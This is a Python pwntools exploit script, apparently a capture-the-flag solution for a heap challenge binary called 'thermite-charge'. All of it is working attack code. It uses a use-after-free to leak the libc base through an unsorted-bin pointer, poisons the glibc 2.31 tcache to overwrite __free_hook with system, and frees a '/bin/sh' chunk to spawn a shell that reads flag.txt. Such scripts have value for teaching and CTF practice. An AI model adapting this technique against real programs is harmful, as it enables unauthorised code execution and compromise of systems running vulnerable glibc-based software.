#!/usr/bin/env python3 # Hells Bells / thermite-charge -- glibc 2.31 UAF -> tcache poisoning -> __free_hook from pwn import * exe = './thermite-charge' context.binary = e = ELF(exe, checksec=False) libc = ELF('./libc-2.31.so', checksec=False) context.log_level = 'info' UNSORTED_OFF = 0x1ecbe0 # main_arena+0x60, verified against live maps SMALL = 0x18 # -> 0x20 chunk (tcache idx 0) io = remote(args.HOST, int(args.PORT)) if args.REMOTE else process(exe) def menu(c): io.recvuntil(b'> '); io.sendline(str(c).encode()) def plant(slot, size, data): menu(1); io.recvuntil(b'): '); io.sendline(str(slot).encode()) io.recvuntil(b'size: '); io.sendline(str(size).encode()) io.recvuntil(b'payload: '); io.send(data.ljust(size, b'\x00')) def defuse(slot): menu(2); io.recvuntil(b'slot: '); io.sendline(str(slot).encode()) def rewire(slot, size, data): menu(3); io.recvuntil(b'slot: '); io.sendline(str(slot).encode()) io.recvuntil(b'new payload: '); io.send(data.ljust(size, b'\x00')) def inspect(slot, size): menu(4); io.recvuntil(b'slot: '); io.sendline(str(slot).encode()) io.recvuntil(b'payload: '); return io.recv(size) # 1) libc leak: 0x510 chunk skips tcache (max 0x410) -> unsorted bin -> fd = main_arena+0x60 plant(0, 0x500, b'A') # victim plant(1, 0x80, b'B') # guard against top-chunk consolidation plant(2, SMALL, b'C') # tcache pair, allocated before the free plant(3, SMALL, b'D') defuse(0) # pointer not nulled -> UAF libc.address = u64(inspect(0, 8)) - UNSORTED_OFF log.success(f'libc base : {libc.address:#x}') log.success(f'system : {libc.sym.system:#x}') log.success(f'__free_hook : {libc.sym.__free_hook:#x}') # 2) tcache poisoning -- glibc 2.31 has no safe-linking, fd is a raw pointer defuse(2); defuse(3) # tcache[0x20]: 3 -> 2 rewire(3, SMALL, p64(libc.sym.__free_hook)) # UAF write: 3 -> __free_hook plant(5, SMALL, b'E') # drains chunk 3 plant(6, SMALL, p64(libc.sym.system)) # lands on __free_hook # 3) free("/bin/sh") -> system("/bin/sh") plant(7, SMALL, b'/bin/sh\x00') defuse(7) io.recvrepeat(0.3) io.sendline(b'cat flag.txt; echo ---; id') log.success('shell: ' + io.recvrepeat(1).decode(errors='replace').strip()) io.interactive() if args.I else io.close()